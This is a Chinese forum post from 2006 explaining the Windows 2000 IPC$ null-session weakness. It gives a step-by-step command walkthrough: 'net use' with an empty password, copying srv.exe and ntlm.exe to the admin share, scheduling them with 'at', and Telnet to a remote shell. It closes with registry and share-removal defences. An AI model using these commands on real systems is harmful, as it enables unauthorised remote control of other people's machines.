设为首页
收藏本站
开启辅助访问
切换到窄版
登录
立即注册
中问网首页
我的收藏
站长博客
搜索
搜索
本版
帖子
用户
第一问答网
»
论坛
›
中问网
›
问答
›
拒绝背后黑手的窥探 IPC$漏洞大揭秘
返回列表
发新帖
拒绝背后黑手的窥探 IPC$漏洞大揭秘
[复制链接]
11
|
0
|
2006-4-17 13:46:34
|
显示全部楼层
|
阅读模式
拒绝背后黑手的窥探 IPC$漏洞大揭秘
常常在网上听人说IPC漏洞,那么IPC漏洞到底是什么呢?网络流氓们是怎么利用这个漏洞的呢?抱着这样的问题,我们一起来看看笔者带来的精彩文章!
什么是IPC漏洞
IPC是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用。利用IPC我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们还可以得到目标主机上的用户列表。但是,一些别有用心者会利用IPC,查找我们的用户列表,并使用一些字典工具,对我们的主机进行攻击。
如何利用IPC漏洞
攻击者在这里一般会用到《流光》这个软件,兔子在这里特别提醒你,《流光》是一款功能非常强大的软件,在我们使用时一定要注意,不得进行非法破坏!
第一步:运行《流光》(现在的最新版本是4.6),按“CTRL+R”键弹出扫描框,我们这里只是做个测试,目的是告诉大家这个漏洞的危害,所以我们现在随便选择一段IP进行扫描。我们扫描的是127.0.0.1(如图),其它的均使用默认,不需要改变设置。
第二步:大家打开Win2000自带的命令提示行,注:这里我们不是教大家怎么破坏,只是给大家介绍这个漏洞的危害,所以下面的IP是假设的,并不存在。
1. C:\〉net use \\127.0.0.1\IPC "" /user:"admintitrators"
这就是刚才用《流光》扫到的用户名是administrators,密码为“空”的IP地址,如果是攻击者的话,他就会用这样的命令来与127.0.0.1建立一个连接,因为密码为“空”,所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
2. C:\〉copy srv.exe \\127.0.0.1\admin
先复制srv.exe上去,在流光的Tools目录下就有(这里的是指admin用户的c:\winnt\system32\,大家还可以使用c、d,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\〉net time \\127.0.0.1
查查时间,发现127.0.0.1的当前时间是2002/3/19上午11:00,命令成功完成。
4. C:\〉at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
5. C:\〉net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1的当前时间是2002/3/19上午11:05,那就准备开始下面的命令。
6. C:\〉telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:\〉copy ntlm.exe \\127.0.0.1\admin
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:\WINNT\system32〉ntlm
输入ntlm启动(这里的C:\WINNT\system32〉指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现“DONE”的时候,就说明已经启动正常。然后使用“net start telnet”来开启Telnet服务!
第三步:我们使用Telnet到对方计算机上去,Telnet 127.0.0.1,接着输入用户名与密码就进入了,操作就像在DOS上操作一样简单!
如何防范IPC漏洞
看了上面的方法是不是觉得该检测一下自己是否有这个漏洞,如果有,还不赶快把这个漏洞给补上?跟我来吧,下面我们将教你如何防范IPC漏洞的入侵
1.禁止建立空连接
我们首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001。
2.禁止管理共享
同样也是找到如下组键[HKEY_LOCAL _MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer = DWORD的键值改为:00000000。
3.www.heibai.net/download/show.php ... 自动永久删除Windows 2000所有默认共享的两个批处理文件。
4.如果还觉得麻烦的话,也可以把“net share ipc /delete”放进你的启动栏里。
5.当然,最简单的方法就是把的密码设置得复杂一些,以免被一些不怀好意的人使用工具破解出来。不过想提醒大家一点,任何复杂的密码都有可能被破解。
回复
使用道具
举报
返回列表
发新帖
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
回帖后跳转到最后一页
千问
主题
0
回帖
4882万
积分
论坛元老
论坛元老, 积分 48824836, 距离下一级还需 -38824837 积分
论坛元老, 积分 48824836, 距离下一级还需 -38824837 积分
积分
48824836
加好友
发消息
回复楼主
返回列表
问答
热门排行
1
男气功高强穿什么装备 本人武器60ss+10锻4 手镯赤炎手镯 辅助魔法石都是粉+8 求推介其他的装备
2
第七题解析
3
魅族MX2怎么发彩信 求解
4
为什么我一玩游戏电脑就没有网速了呢
5
韩式双眼皮和传统的双眼皮又什么区别?
6
谁知道信宜籍的毕业生去哪报到?是信宜人事局还是茂名人事局?
7
做什么工作来钱快
8
Henry found a job in a bookstore after he finished middle school. 阅读理解答案
9
怎样背单词,认识音标?
10
生化危机6二周目如何继承一周目的武器?我的是中文版
11
河北和山西交接处有什么山啊?
12
珠光纸掉粉怎么印刷
13
求一首歌 一个女的唱的
14
如何解决孝敬父母的同时又不会混淆生活费及遗产的问题?
15
explorer.exe服务器运行失败
16
脸上为什么会有痘痘?
17
运行大学英语精读时总是提示脚本错误,怎么修复?
18
《我好想你》的意思是:
19
当我平躺在床上,抬高双腿,再放下的时候,腰间左侧会有一声咯嘣的响声。
20
购进货物用于集体福利如何进行账务处理?
21
苏州吴中申通快递分公司挨着哪个公交站台,从新区阳山过去怎么走?
22
让人很清爽的感觉是什么感觉?
23
在线等,来个高手告诉我这个东西叫啥?用在什么地方的!
24
剑网3 珍珠缀放 采集专精 能采到吗?
25
民国机制一文钱币值多少钱
26
银行卡里钱多出来,应该找谁?
27
东北大学家属区大西门为什么不让开车通行
28
求优秀哲学类书籍
29
一首蒙古歌,歌词开头是"鸿雁,蓝天下,对对排成排..."
30
When will your sister____? Next Sunday.She will_____Bob A.be married,marry to
31
怎样可以把单机游戏下载到手机内存卡上
32
脖子前面感觉有两个骨头,上面一个,,然后下面还有一个,哪个是喉结,这正常吗?
33
最近几天兰州至北京火车
34
散仙之路电子书txt全集下载
35
《夏,未央》txt全集下载
36
中国人民银行宣布,从2007年6月5日起,上调人民币存款利率,一年定期存款利率上调到3.06%,某人
37
NBA08-09季后赛要是麦迪能打比赛火箭能赢湖人么?
38
新型玻璃这个题目怎么理解?
39
月经量很多并且持续时间长是怎么回事。
40
有你在、我幸福电子书txt全集下载
41
西安思源学院的幼教专业好么,求学姐指点?
42
深圳智能化工程施工合同必须备案吗?如果不备案会怎么样?
43
为什么夏天流汗后总有股酸味?
44
粉身碎骨全不怕要留清白在人间txt全集下载
45
Mama Said的歌曲链接
46
圆周率近似数3.142精确到千分位能不能说成精确到千位
47
《暗牧攻略 txt5200快眼看书sodu暗牧攻略 txt吧txt全集下载》txt全集下载
48
八年级上数学
49
怎么验证是真是假啊 还有我见别人买那些挺好看的 就是男孩子戴在胸前的那种 大概多少钱 不知道是装...
50
只喜欢晚上出来玩,静静的听着忧伤的音乐,这样心里会好受一些,这是怎么啦?
51
上海徐汇游泳馆有没有月票或者年票价格分别多少?
52
扒鸡怎么做啊?原材料是什么啊?请都说出来
53
关于excel数据全部清零的问题
54
时不利兮雎不逝这是什么意思谁能告诉我呢
55
最近笔记本打开网页时总是出现如下画面,请帮忙解决一下
56
黄义达演唱的《星银岛》中文主题曲《宝藏》的作曲到底是谁?
57
重生之蛇龙变txt全集下载
58
《不死血修》最新txt全集下载
59
微波炉电鬼努力值分配
60
1992年农历1月16生的男生和1994年农历3月21日生的女生在一起会快乐吗?
61
我的手机是联想A650为什么不能玩微信
62
请问,为什么小米2s 16G 官网上没有的卖了,怎么只有32G的?
63
凤竹花落小说txt全集免费下载
64
金丝楠老木料多少钱一斤
65
如何做出这种图片效果
66
与ai中的a一个读音的英语单词要带ai
67
如何换丰田花冠室内灯,保险丝在哪里?
68
房颤的治疗 房颤 房颤患者做射频消融术成功率多少?
69
电脑重做了系统,我的无界找不到了,听说你有帮忙发一个
[email protected]
70
电脑开机闪烁一会就正常,这是怎么回事啊!
71
美元的黑白版与彩色版有什么区别?
72
驾龄不到一年上高速怎么处罚
73
小孩子身上起点东西,刚开始是红斑现在慢慢的皮肤粗糙变黑脱皮,偶尔还伴有骚痒等症状,我准备把孩子带...
74
斗鬼妙法小说txt全集免费下载
75
理解能力差怎么办
76
缘桥网是做什么的?
77
裴无庆之死
78
全头皮撕脱伤,愈合后无头发,可以鉴定为六级工伤伤残吗?
79
征途2的名号哪里来的??像名震八方还有逍遥游侠???
80
汽车经常做抛光 好不好
81
迅雷7悬浮窗没了怎么办
82
玩过赛尔号的回答
83
我手机看不了小说是怎么回事求解,一打开就是文件过大
84
WOW, 要不要买个玉珑圣物
85
吃生鸡蛋能治胃病吗
86
用中国联通的ipad2是什么版本的,想升ios6
87
Sam and I am making a cake at the moment 那个词语用错了
88
thinkpad e430或e430c系列哪款机子好、主要是性能和质量
89
《都市神魔录》最新txt全集下载
90
这两题怎么做
91
现在比较好用的索尼手机推荐下呗
92
支付宝在购物时有没有一次只能消费5000的限额
93
惠普CQ45-306怎么拆装风扇,我想清理一下风扇,自己能拆吗
94
这一系列图有名字吗
95
大姚有孩子没?
96
奥比岛里谁愿意加我作好友啊?最好是红宝石,我叫落叶蝶恋
97
如何修改电脑的FPS值,修改有什么用
98
武魂右键之后时装没了
99
对于当代大学生而言,集体利益与个人利益哪个更重要?
100
仙剑奇侠传四,昆吾沙在哪里买,或者在哪里可以得到